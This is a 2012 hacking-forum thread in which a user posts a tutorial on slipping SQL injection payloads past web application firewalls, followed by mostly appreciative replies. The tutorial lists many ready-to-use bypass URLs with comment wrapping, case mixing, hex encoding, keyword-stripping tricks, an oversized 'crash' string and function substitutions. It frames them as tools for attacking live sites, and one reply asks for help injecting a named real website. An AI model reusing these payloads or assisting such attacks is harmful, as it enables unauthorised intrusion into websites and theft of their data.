

Forum:[Hack Forums](#)

Thread: [\[TUT\] Advanced WAF Bypassing Methods \(Basic Methods included,too!\)](#)

akatzbreaker - July 6, 2012, 1:54 am

Hi HF Members!

Today I am going to show you how to bypass Web Application Firewalls (WAF). I will demonstrate from the Simplest and most Beginner Methods to the Most Advanced ones!

Please Note: I will not Demonstrate SQL Injection! So, If you don't know SQL Injection, read a Tutorial on How to SQL Inject (There are many on these Forums!) and then read this Thread...

Let's Begin!

How to know if there is a Web Application Firewall?

This is pretty simple! When you try to enter a command used for SQL Injections (usually the "UNION SELECT" command), you get an 403 Error (and the website says "Forbidden" or "Not Acceptable").

Example:

Code `http://www.site.com/index.php?page_id=-15 UNION SELECT 1,2,3,4....`

(We get a 403 Error!)

Basic/Simple Methods:

First, of course, we need to know the Basic Methods to bypass WAF...

1) Comments:

You can use comments to bypass WAF:

Code `http://www.site.com/index.php?page_id=-15 /*!UNION*/ /*!SELECT*/ 1,2,3,4....`

(First Method that can Bypass WAF)However, most WAF identify this method so they still show a "Forbidden" Error...

2) Change the Case of the Letters:

You can also change the Case of the Command:

Code `http://www.site.com/index.php?page_id=-15 uNioN sELecT 1,2,3,4....`

(Another Basic Method to Bypass WAF!)However, as before, this trick is also detected by most WAF!

3) Combine the previous Methods:

What you can also do is to combine the previous two methods:

Code `http://www.site.com/index.php?page_id=-15 /*!uNioN*/ /*!SeleCt*/ 1,2,3,4....` This method is not detectable by many Web Application Firewalls!

4) Replaced Keywords:

Some Firewalls remove the "UNION SELECT" Statement when it is found in the URL... We can do

this to exploit this function:

Code `http://www.site.com/index.php?page_id=-15 UNION SELECT 1,2,3,4....`

(The "union" and the "select" will be removed, so the final result will be: "UNION SELECT" :-D) This method doesn't work on ALL Firewalls, as only some of them remove the "UNION" and the "SELECT" commands when they are detected!

5) Inline Comments (Thanks to Crysan):

Some firewalls get bypassed by Inserting Inline Comments between the "Union" and the "Select" Commands:

Code `http://www.site.com/index.php?page_id=-15 %55nION/**/%53ElecT 1,2,3,4...`

(The %55 is equal to "U" and %53 to "S". See more on the Advanced Section....)

I believe that these are the most basic Methods to WAF Bypassing! Let's move on more advanced ones...

Advanced Methods:

Now that you have learned about Basic WAF Bypassing, I think it is good to understand more advanced Methods!

1) Buffer Overflow / Firewall Crash:

Many Firewalls are developed in C/C++ and we can Crash them using Buffer Overflow!

Code `http://www.site.com/index.php?page_id=-15+and+(select 1)=(Select 0xAA[.(add about 1000 "A"..)]+/*!uNIOn*/+/*!SeLEct*/+1,2,3,4....`

((You can test if the WAF can be crashed by typing:

`?page_id=null%0A/**/*!50000%55nION/*!yoyu*/all/**/%0A/*!%53eLEct*/%0A/*nnaa*/+1,2,3,4....`

If you get a 500, you can exploit it using the Buffer Overflow Method! :: Thanks Crysan for the Test))

2) Replace Characters with their HEX Values (Thanks to Crysan!):

We can replace some characters with their HEX (URL-Encoded) Values.

Example:

Code `http://www.site.com/index.php?page_id=-15 /*!u%6eion*/ /*!se%6cect*/ 1,2,3,4....`

(which means "union select") Text to Hex Encoder (Choose the "Hex Encoded for URL" result!):

<http://www.swingnote.com/tools/texttohex.php>

3) Use other Variables or Commands instead of the common ones for SQLi:

Apart from the "UNION SELECT" other commands might be blocked.

Common Commands Blocked:

Code COMMAND | WHAT TO USE INSTEAD

@@version | version()

concat() | concat_ws() --> Difference between concat() and concat_ws(): <http://is.gd/VEeiDU>
group_concat() | concat_ws()

[!]-> You can also try to SQL Inject with the NAME_CONST Method: <http://is.gd/o10i0d> (Created by Downfall) Learning MySQL Really helps on such issues! ;-)

4) Misc Exploitable Functions:

Many firewalls try to offer more Protection by adding Prototype or Strange Functions! (Which, of course, we can exploit!):

Example:

The firewall below replaces "*" (asterisks) with Whitespaces! What we can do is this:

Code `http://www.site.com/index.php?page_id=-15+uni*on+sel*ect+1,2,3,4...`

(If the Firewall removes the "*", the result will be: `15+union+select....`) So, if you find such a silly function, you can exploit it, in this way! :-D

[+] In addition to the previous example, some other bypasses might be:

Code `-15+(uNioN)+(sElEcT)....`

`-15+(uNioN+SeleCT)+...`

`-15+(UnI)(oN)+(SeL)(ecT)+....`

`-15+union (select 1,2,3,4...)`

Video Tutorial on WAF Bypassing:

[Video: <http://www.youtube.com/watch?hl=en&v=biABSdn9QNw&gl=US>] (The video IS NOT Made by Me!)

Now What?

You can now test your new skills here: <https://hackforums.net/showthread.php?tid=1531462>

(Created by kobeZ)

(There are many WAF-Enabled Websites out there, too!)

= + = + = + = + = + = + = + = + = + = + = + = + = + = + = +

If you know any other methods on how to Bypass WAF, Post them here! :-D

!!! It took me 2 hours to write this thread and style it! Please Leave a Reply! (It takes only 10 seconds!) !!!

AnGrY Bo - July 6, 2012, 2:03 am

Very detailed tutorial bro keep it up

Good job

akatzbreaker - July 6, 2012, 2:04 am

(Jul 6, 2012 02:03 AM)Angry Bo Wrote: [\[CITE\]](#) Very detailed tutorial bro keep it up

Good job

Thanks Angry Bo! I really Appreciate it!

spectrum10 - July 6, 2012, 2:18 am

Nice tut bro, good to see you contributing to the community, keep it up :}

akatzbreaker - July 6, 2012, 2:19 am

(Jul 6, 2012 02:18 AM)spectrum10 Wrote: [\[CITE\]](#) Nice tut bro, good to see you contributing to the community, keep it up :}

Thanks a lot spectrum10! It is really encouraging!

VisuallyDesigned - July 6, 2012, 3:35 am

great, was looking for something like this for a while thanks :D

maxitis - July 6, 2012, 3:41 am

here is also a good resource:

<http://www.exploit-db.com/papers/17934/>

akatzbreaker - July 6, 2012, 3:46 am

Thanks for the support VisuallyDesigned!

Thanks for the Link maxitis!!

Crysan - July 6, 2012, 4:05 am

I know few more methods you might want to add ?.

Just pm me for it, I will response in the next 2 minutes. (eating :P)

akatzbreaker - July 6, 2012, 4:09 am

Thanks Crysan! I just PMed you! :-D

(xaxa! I like your Signature! xD)

I added more methods! One to the Basic and one to the Advanced Section!

Also, I styled it a bit more!

Thanks Crysan for the additional Techniques! :-)

I added one more function at the Advanced Section! (The 3rd one!) ;-)

MasterMind555 - July 6, 2012, 10:52 am

Thanks, very useful! Very high quality post

Prominent - July 6, 2012, 12:46 pm

Not bad for a tutorial, though it could use some formatting.

dawnofwar - July 6, 2012, 1:00 pm

Epic thread bro! Most WAF Bypassing threads are the usual, well known methods. Saw a lot of new methods in this thread, definitely rep worthy.

Thanks for the tut homie.

akatzbreaker - July 6, 2012, 2:29 pm

Thanks guys! It is really encouraging to see people interested in such Topics!! Thanx!

almb1111 - July 6, 2012, 3:26 pm

Very nice thread bro ! I appreciate all your work on making it :D

Edit : You can also add the Union Distinct Select method, it helps me a lot.

akatzbreaker - July 7, 2012, 1:13 am

Thanks almb1111!! I will search about the method you posted and I will try to add it! ;-)

dresdenvivek - July 7, 2012, 1:30 am

HQ mate.. its long to see a tutorial like this.. Very nice mate

nck0099 - July 7, 2012, 4:32 am

great, was looking for something like this for a while thanks . ths post added as bookmark now .. :D

akatzbreaker - July 7, 2012, 4:44 am

Thanks to everyone for the great Replies! It is very encouraging! ;-D

ajkaro - July 8, 2012, 4:29 am

Thanks, very useful! Very informative tutorial...

Zixem - July 8, 2012, 4:34 am

Nice TUT, keep it up.

~*Zixem ?

Hitmenonhire - July 8, 2012, 4:39 am

Nice effort and appreciative work to share the knowledge :)

akatzbreaker - July 8, 2012, 6:14 am

(Jul 8, 2012 04:29 AM)ajkaro Wrote: [\[CITE\]](#) Thanks, very useful! Very informative tutorial...

Thanks ajkaro!

I think it covers everything a Hacker should know that is related to WAF Bypassing!

Black_Panther - July 8, 2012, 6:36 am

GOOD JOB Bro... keep it up ????

akatzbreaker - July 8, 2012, 6:41 am

Thanks Black_Panther!!! I like seeing people interested in this Thread!

M?.Me - July 15, 2012, 5:49 am

very nice thread !! and the way you explained it is very easy to understand :)

akatzbreaker - July 15, 2012, 8:30 am

Thanks Mr.Me for your Reply! I really appreciate that!

*****Wolf***** - July 15, 2012, 10:32 am

Thanks, very useful! Very high quality post!!

I was looking for something like this for a while :)

akatzbreaker - July 15, 2012, 11:42 am

Thanks for your support mariorossi11 !!!!

laterain - August 25, 2012, 7:00 pm

It's So Good!

I will copy it to my blog.....:)

akatzbreaker - August 26, 2012, 3:03 am

Thanks mate!

Give credits to me at your blog and, if you wish, add a link to my blog (www.gnahackteam.wordpress.com)

Thanks!

cubafoster - October 21, 2012, 4:13 pm

nice onee !!! thank you for that tut , keep up good job dude

soacool - October 21, 2012, 11:54 pm

good tut akatzbreaker,
thank's for share this method...

surendra154 - *June 24, 2013, 12:31 pm*

thank u soo much i am really looking for them and i found it here but in some sites eventhough union statements are not forbidden but when i try to get tables from the visible indexes they suddenly disappeared i dont why can u help ?? eg:<http://www.athenapress.com/book.php?ID=2693>
thanks in advance :D

sccsc69uk - *July 5, 2013, 4:14 am*

Hiya, Just tried all the methods you've put in your tutorial (good tutorial though) but none work. It looks liek the rulesets for WAFs now include this kind of bypass :/ Any other ideas ?

Toasties - *July 5, 2013, 7:00 am*

i liked your tutorial, it was easy to follow and understand.

chadvader85 - *July 9, 2013, 10:43 pm*

Awesome. thanks for the tutorial!!!!

GFUS528696 - *January 27, 2024, 4:23 am*

I dont know much about all this but thats why im reading and learning so thanks for the info.

SIM-5186353 - *January 27, 2024, 8:27 am*

Thanks ??

dubbstaap77 - *April 21, 2024, 4:52 am*

awesome stuff ty 4 this

Thiguystinks - *July 27, 2024, 7:08 pm*

What an amazing write up bro, cool to see the community come together and help each other out.